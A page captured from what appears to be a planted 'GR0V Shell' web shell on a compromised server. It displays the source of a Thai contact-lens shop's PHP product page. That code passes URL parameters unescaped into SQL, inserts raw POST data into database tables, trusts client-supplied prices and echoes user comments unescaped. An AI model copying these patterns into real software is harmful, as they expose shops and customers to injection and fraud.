? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/
File Upload :
Current File : /home/admin/public_html/old/promice/product_p.php

<? include("head.php");?>
     <td width="80%" valign="top">
      <?php /*?> <div class=mainPanel><?php */?>
<?
$sql = "SELECT brand.*,product.* from brand,product where brand.brand_id=product.pro_brand  and product.pro_id='$_GET[id]'  ";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
?> 



          <table cellspacing=0 cellpadding=0 width=100% align="center">
            <tbody>
              <tr>
                <td width=9><img src="lens_files/table_01.jpg" width=9 
                  height=24 /></td>
                <td 
                  align=left valign=middle background=lens_files/table_02.jpg><img src="images/cart.gif" width="19" height="15" /> &nbsp;<? echo $row[pro_name];?></td>
                <td width=9><img src="lens_files/table_03.jpg" width=9 
                  height=24 /></td>
              </tr>
            </tbody>
          </table>
  
   <table width="100%" border="0">
  <tr>
    <td width="41%" valign="top"><img src="img/<? if($row[pro_pic]==""){ echo "no_img.jpg";}else{ echo $row[pro_pic];}?>" width="300"  /><br /><br />
<br />
<? if($row[pro_pic2]!=""){?>
<img src="img/<? echo $row[pro_pic2];?>" width="300"  /><? } ?></td>
    <td width="59%" valign="top"><br />
    <? if($_SESSION[lan]==0){?>
     <? if($_SESSION[type_n]<=3){?>
    <table width="100%" border="0">
      <tr>
        <td width="42%"><div align="left" style="font-size: 14px">จัดจำหน่ายโดย </div></td>
        <td width="58%"><div align="left" style="font-size: 14px">: <? echo $row[brand_name];?> <? echo $chk;?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">ประเภทของเลนส์ </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_type];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">วัสดุที่ใช้ในการผลิต </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_mat];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">องค์ประกอบของน้ำ </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_water];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">การส่งผ่านออกซิเจน </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_ox];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">ความโค้งมาตรฐาน </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_base];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">ความหนาที่กึ่งกลางเลนส์</div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_cen];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">เส้นผ่านศูนย์กลางเลนส์ </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_dia];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">สีของเลนส์ </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_color];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">เครื่องหมายป้องกันการใส่กลับด้าน </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_mark];?></div></td>
      </tr>
      <tr>
      <? $a =explode(",",$row[pro_power])?>
        <td><div align="left" style="font-size: 14px">กำลังค่าสายตา <br />
              <br />
              <br />
        </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $a[0]." ถึง ".$a[1]." เพิ่มขั้นละ ".$a[2];?><br />
          : <? echo $a[3]." ถึง ".$a[4]." เพิ่มขั้นละ ".$a[5];?><br />
          : <? echo $a[6]." ถึง ".$a[7]." เพิ่มขั้นละ ".$a[8];?>
          
        </div></td>
      </tr>
      
      <tr>
        <td><div align="left" style="font-size: 14px">การป้องกันดวงตาจากรังสี </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_uv];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">ขนาด </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_size];?></div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">ราคา </div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row[pro_price];?> บาท</div></td>
      </tr>
      <tr>
        <td><div align="left" style="font-size: 14px">โปรโมชั่น</div></td>
        <td><div align="left" style="font-size: 14px">: <? echo $row['pro_promotion']." บาท/".$row['pro_pro'];?></div></td>
      </tr>
    </table>      
       <? }else{ ?>
           <table width="100%" border="0">
            <tr>
                  <td width="100%"><? echo $row[pro_det];?></td>
            </tr>
          </table>
           <? }?>           <? }?>      </td>
  </tr>
</table>
<? 
if($_POST[pro_id]!=""){
if($_SESSION[mem_id]!=""){
 if($_POST[cart_num1] != "" ){
 $_POST[cart_date]= date("Y-m-d H:i:s");
		  $_POST[cart_mem]=$_SESSION[mem_id];
		  $_POST[cart_pro]=$_POST[pro_id];
		  $pa=$_POST[pro_id];
		  $a= $_POST[cart_num1] % $_POST[num];
		  $x=$a*$_POST[price];
		  $b=floor($_POST[cart_num1] / $_POST[num]);
		  $y=$b*$_POST[price1];
		  $_POST[cart_status]=0;
		   $_POST[cart_price]=$x+$y;
		  $_POST[cart_num]=$_POST[cart_num1];
		  unset($_POST[num]);
		  unset($_POST[price]);
		  unset($_POST[price1]);
		  unset($_POST[cart_num1]);
		  unset($_POST[pro_id]);
		  if($_GET[t]==1){
		    $_POST[cart_bonus]="";
			 $db->insert_array("cart",$_POST);
		  }elseif($_GET[t]==2 && $_POST[cart_price]<=($_SESSION[p_cost]-$chk)){
		    $_POST[cart_bonus]="แลกรางวัล";
			 $db->insert_array("cart",$_POST);
		  }else{
		       echo '<script> alert("จำนวนเงินไม่พอ"); window.location.href="product_p.php?id='.$pa.'";</script>';
		  }
		       echo '<script> alert("เรียบร้อย"); window.location.href="product_p.php?id='.$pa.'";</script>';
		 }else{echo '<script> alert("ข้อมูลไม่ครบ"); window.location.href="product_p.php?id='.$_POST[pro_id].'";</script>';}
		 }else{echo '<script> alert("สมัครสมาชิก"); window.location.href="product_p.php?id='.$_POST[pro_id].'";</script>';}
		}
		?>
<form action="" method="post" name="form1" id="form1" style="font-size: 12px">
<table width="100%" border="0" cellpadding="0" cellspacing="0" bordercolor="#39BBDF">
  <tr>
    <td width="39%" height="29" bgcolor="#FFCCFF"><div align="right" style="font-size: 14px">ชื่อสินค้า : </div></td>
    <td width="61%" bgcolor="#FFCCFF"><div align="left"><span style="font-size: 14px">&nbsp;&nbsp;&nbsp;<? echo $row[pro_name];?> </span>
      <input type="hidden" name="pro_id" id="pro_id" value="<? echo $row[pro_id];?>"/>
    </div></td>
  </tr>
  <tr>
    <td height="31"><div align="right" style="font-size: 14px">ราคา : </div></td>
    <td><div align="left"><span style="font-size: 14px">&nbsp;<? echo $row[pro_price]." บาท";?></span>
      <input type="hidden" name="price" id="price" value="<? echo $row[pro_price];?>"/>
      <br />
    </div></td>
  </tr>
  <tr>
    <td height="25"><div align="right" style="font-size: 14px">จำนวน : </div></td>
    <td><div align="left"><span style="font-size: 14px">&nbsp;
        <input name="cart_num1" type="text" id="cart_num1" value="1"/>
    </span>
        <input type="hidden" name="num" id="num" value="<? echo $row[pro_pro];?>" />
        <input type="hidden" name="price1" id="price1" value="<? echo $row[pro_promotion];?>"/>
    </div></td>
  </tr>
  <? if($_SESSION[type_n]==1){?>
  <tr>
    <td height="38"><div align="right" style="font-size: 14px">กำลังค่าสายตา : </div></td>
    <td><span class="style5">
     
      <div align="left">
              <? $a= explode(",",$row[pro_power]) ;
	             $x=count($a); 
		      ?>
              &nbsp;
              <select name="cart_power" id="cart_power">
                <? if($a[0]>0 && $a[0]!=""){?>
                <? for($i=$a[0];$i<=$a[1];$i=$i+$a[2]){?>
                <option value="<? echo "+".number_format($i,2);?>"><? echo "+".number_format($i,2);?></option>
                
                <?   }}elseif($a[0]<0 && $a[0]!=""){?>
                 <? for($i=$a[0];$i>=$a[1];$i=$i-$a[2]){?>
                <option value="<? echo number_format($i,2);?>"><? echo number_format($i,2);?></option>
                
                <? }}?>
                
                  <? if($a[3]>0 && $a[3]!=""){?>
                 <? 
	   for($i=$a[3];$i<=$a[4];$i=$i+$a[5]){?>
                <option value="<? echo "+".number_format($i,2);?>"><? echo "+".number_format($i,2);?></option>
                
                <?  }}elseif($a[3]<0 && $a[3]!=""){?>
                <? for($i=$a[3];$i>=$a[4];$i=$i-$a[5]){?>
                <option value="<? echo number_format($i,2);?>"><? echo number_format($i,2);?></option>
                
                 <? }}?>
                
                  <? if($a[6]>0 && $a[6]!=""){?>
                  <? for($i=$a[6];$i<=$a[7];$i=$i+$a[8]){?>
                 <option value="<? echo "+".number_format($i,2);?>"><? echo "+".number_format($i,2);?></option>
                <?  }}elseif($a[6]<0 && $a[6]!=""){?>
                 <? for($i=$a[6];$i>=$a[7];$i=$i-$a[8]){?>
                <option value="<? echo number_format($i,2);?>"><? echo number_format($i,2);?></option>
                
                 <? }}?>
              </select>
              </div>
    
        </span>    </td>
  </tr>
  <tr>
    <td height="32"><div align="right" style="font-size: 14px">ความโค้งมาตรฐาน : </div></td>
    <td><span class="style5">
     
<div align="left">
              <? $a= explode(",",$row[pro_base]) ;
	  $x=count($a);  ?>
              &nbsp;
              <select name="cart_base" id="cart_base">
                <? for($i=0;$i<$x;$i++){?>
                <option value="<? echo $a[$i];?>"><? echo $a[$i];?></option>
                <?   }?>
              </select>
              </div>
      
        </span>    </td>
  </tr>
  <tr>
    <td height="30"><div align="right" style="font-size: 14px">สีเลนส์ : </div></td>
    <td><span class="style5">
     
<div align="left">
              <? $a= explode(",",$row[pro_color]) ;
	  $x=count($a);  ?>
              &nbsp;
              <select name="cart_color" id="cart_color">
                <? for($i=0;$i<$x;$i++){?>
                <option value="<? echo $a[$i];?>"><? echo $a[$i];?></option>
                
                <?   }?>
              </select>
              </div>
  
        </span>     </td>
  </tr>
  <tr>
    <td height="36"><div align="right" style="font-size: 14px">ค่าสายตา : </div></td>
    <td><span class="style5">
      

<div align="left">
          
            &nbsp;
            <input type="text" name="cart_eye" id="cart_eye" />
          </div>
     
        </span>    </td>
  </tr>
  <tr>
    <td height="32"><div align="right" style="font-size: 14px">องศา : </div></td>
    <td>           
        
          <div align="left">
          
            &nbsp;
            <input type="text" name="cart_degree" id="cart_degree" />
          </div>      </td>
  </tr>
  <? }else{?>
  <tr><td>
  <input  type="hidden" name="cart_power" id="cart_power" value=""/>
    <input  type="hidden" name="cart_base" id="cart_base"  value=""/>
      <input  type="hidden" name="cart_color" id="cart_color" value=""/>
        <input  type="hidden" name="cart_eye" id="cart_eye"  value="" />
          <input  type="hidden" name="cart_degree" id="cart_degree" value="" />
          </td></tr>
  <? } ?>
   <tr>
    <td valign="top"><div align="right" style="font-size: 14px">หมายเหตุ  : </div></td>
    <td>           
        <table width="99%" border="0" cellpadding="5">
  <tr>
    <td width="47%" valign="top">
    <div align="left">
        
            <textarea name="cart_note" cols="30" rows="6" id="cart_note"></textarea>
    </div>    </td>
     <td width="53%" valign="top">&nbsp;</td>
  </tr>
</table>

        
               </td>
  </tr>
</table>
 <div align="center"><br />
  <img src="images/addcart.gif" onclick="document.getElementById('form1').action='product_p.php?t=1';document.getElementById('form1').submit();" style="cursor:pointer" /> 
  <? if($row[pro_price]<=($_SESSION[p_cost]-$chk)){?>
  
                <img src="images/bonus.jpg" width="50" height="50"  onclick="document.getElementById('form1').action='product_p.php?t=2';document.getElementById('form1').submit();" style="cursor:pointer"/>
                
				  <? } ?><br />
  <br />
 </div>
</form>
<TABLE cellSpacing=0 cellPadding=0 width=100%>
              <TBODY>
              <TR>
                <TD width=9><IMG src="lens_files/table_04.jpg" width=9 
                  height=24></TD>
                <TD background=lens_files/table_06.jpg align=left>&nbsp;</TD>
                <TD width=9><IMG src="lens_files/table_05.jpg" width=9 
                  height=24></TD></TR></TBODY></TABLE>
        </div>      
       <div align="center">
      
             <? if($_SESSION[lan]==0){?>
               <table width="100%" border="0">
                 <tr>
                   <td height="28" bgcolor="dfd2ee"> <div align="left"><b>&nbsp;&nbsp;ข้อมูลสินค้า</b></div></td>
                 </tr>
                  <tr>
                   <td >
                     <div align="left"><? echo $row[pro_des];?></div></td>
                 </tr>
               </table>
               
               <? }else {?>
                <table width="100%" border="0">
                 <tr>
                   <td height="30" bgcolor="dfd2ee">
                     <div align="left"><b>&nbsp;&nbsp;Product 
                   Information</b></div></td>
                 </tr>
                  <tr>
                   <td ><div align="left"><? echo $row[pro_des2];?></div></td>
                 </tr>
               </table>
                <? } ?><br />

                
        
        <? 
$sqlxa = "SELECT product.*,rate.* from product,rate where product.pro_id= rate.rate_pro  and rate.rate_pro='$_GET[id]' order by rate.rate_pro asc  ";
$resultxa=mysql_query($sqlxa);

?> 
        
        
          <table cellspacing=0 cellpadding=0 width=100%>
            <tbody>
              <tr>
                <td width=9><img src="lens_files/table_01.jpg" width=9 
                  height=24 /></td>
                <td width="588" 
                  align=left valign=top background=lens_files/table_02.jpg>Product Comment(<? echo mysql_num_rows($resultxa);?>)</td>
                <td width="152" 
                  align=left valign=top background=lens_files/table_02.jpg><div align="center">Rating</div></td>
                <td width=9><img src="lens_files/table_03.jpg" width=9 
                  height=24 /></td>
              </tr>
            </tbody>
          </table>
          
          <TABLE cellSpacing=0 cellPadding=0 width=100%>
              <TBODY>
              <TR>
                <TD vAlign=top >
                  <TABLE class=text cellSpacing=5 cellPadding=4 width=100%>
                    <TBODY>
                     <?php while ($rowxa = mysql_fetch_assoc($resultxa)){ ?>
                    <TR>
                      <TD width=79% vAlign=top><br />
                        <P align=left style="font-family: Arial, Helvetica, sans-serif; font-size: 12px"><? echo $rowxa[rate_comment];?><br />
                          <? echo "By ".$rowxa[rate_name];?><br />
                          <? echo $rowxa[rate_email];?></P><br /></TD>
                      <TD><div align="center">
                        <? for($i=0;$i<$rowxa[rate_rating];$i++){?>
                        <IMG src="images/star.gif" width=16 
                              height=16>
                        <? };?>
                      </div></TD>
                      </TR>
                      <? }?>
                    <TR>
                      <TD vAlign=top background=lens_files/line.jpg 
                        colSpan=2><IMG src="lens_files/line.jpg" width=2 
                        height=4></TD></TR></TBODY></TABLE>                  </TD>
              </TR></TBODY></TABLE>
            <TABLE cellSpacing=0 cellPadding=0 width=100%>
              <TBODY>
              <TR>
                <TD width=9><IMG src="lens_files/table_04.jpg" width=9 
                  height=24></TD>
                <TD background=lens_files/table_06.jpg align=left>&nbsp;</TD>
                <TD width=9><IMG src="lens_files/table_05.jpg" width=9 
                  height=24></TD></TR></TBODY></TABLE>
                
               <? 
		 if($_POST[rate_pro] != ""){
		 if($_POST[rate_comment] != "" && $_POST[rate_name] != "" ){
		 unset($_POST[x]);
		  unset($_POST[y]);
		 $db->insert_array("rate",$_POST);
		 echo '<script> alert("เรียบร้อย");</script>';
		 }else{echo '<script> alert("ข้อมูลไม่ครบ");</script>';
		 }}
		 ?>
               <br />
               <TABLE class=text cellSpacing=0 cellPadding=5 width=100% 
            background=r_files/table_658.jpg align=center>
              <TBODY>
              <TR>
                
              </TR>
              <TR>
                <TD vAlign=top>
                  <TABLE cellSpacing=0 cellPadding=0 width=645>
                   <form action="" method="post">
                    <TBODY>
                    <TR>
                      <TD vAlign=top width=395>
                        <TABLE cellSpacing=0 cellPadding=0 width=395>
                          <TBODY>
                          <TR>
                            <TD width=100><div align="left">Your Comment :<br />
                                <br />
                                <br />
                            </div></TD>
                            <TD><div align="left"><br />
                                  <TEXTAREA id=rate_comment class=text rows=4 cols=30 name=rate_comment></TEXTAREA>
                                  <input type="hidden" name="rate_pro" id="rate_pro" value="<? echo $row[pro_id];?>"/>
                            </div></TD></TR>
                          <TR>
                            <TD><div align="left"></div></TD>
                            <TD><div align="left">
                              <SELECT id=rate_rating class=text name=rate_rating> 
                                <OPTION selected value="">Select Rating</OPTION> 
                                <OPTION value=5>5</OPTION> 
                                <OPTION 
                                value=4>4</OPTION> 
                                <OPTION value=3>3</OPTION> 
                                <OPTION value=2>2</OPTION> 
                                <OPTION 
                                value=1>1</OPTION>
                              </SELECT>
                            </div></TD></TR>
                          <TR>
                            <TD><div align="left">Name :</div></TD>
                            <TD><div align="left">
                              <INPUT 
                            name=rate_name type=text class=text id=rate_name size="30" value="<? echo $_SESSION[name];?>">
                            </div></TD></TR>
                          <TR>
                            <TD><div align="left">Email :</div></TD>
                            <TD><div align="left">
                              <INPUT id=rate_email class=text size=30 type=text 
                              name=rate_email value="<? echo $_SESSION[email];?>">
                            </div></TD></TR></TBODY></TABLE>
                        <BR>
                        <center>
                        <TABLE cellSpacing=0 cellPadding=5 align=center>
                          <TBODY>
                          <TR>
                            <TD><INPUT  alt="add to cart" 
                              src="images/bt_submit.gif" type=image 
                               onclick="document.getElementById('form1').submit();" style="cursor:pointer"></TD></TR></TBODY></TABLE></center></TD>
                      <TD vAlign=top width=248>
                        <TABLE cellSpacing=0 cellPadding=0>
                          <TBODY>
                          <TR>
                            <TD colSpan=2><div align="left">Rate these lenses from 1 to 5 
                              stars</div></TD></TR>
                          <TR>
                            <TD width=100><div align="left"><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16></div></TD>
                            <TD><div align="left">Excellent</div></TD></TR>
                          <TR>
                            <TD><div align="left"><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16></div></TD>
                            <TD><div align="left">Very Good</div></TD></TR>
                          <TR>
                            <TD><div align="left"><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16></div></TD>
                            <TD><div align="left">Average</div></TD></TR>
                          <TR>
                            <TD><div align="left"><IMG src="images/star.gif" width=16 
                              height=16><IMG src="images/star.gif" width=16 
                              height=16></div></TD>
                            <TD><div align="left">Poor</div></TD></TR>
                          <TR>
                            <TD><div align="left"><IMG src="images/star.gif" width=16 
                            height=16></div></TD>
                            <TD><div align="left">Unsatisfactory</div></TD></TR></TBODY></TABLE>
                        <BR></TD></TR></TBODY></form></TABLE></TD></TR>
              <TR>
                <TD vAlign=top colSpan=2>&nbsp;</TD></TR>
              <TR>
                <TD vAlign=top background=r_files/line.jpg colSpan=2><IMG 
                  src="r_files/line.jpg" width=2 
            height=1></TD></TR></TBODY></TABLE>
            </div></td>
     <? include("foot.php");?>

T1KUS90T
  root-grov@210.1.60.28:~$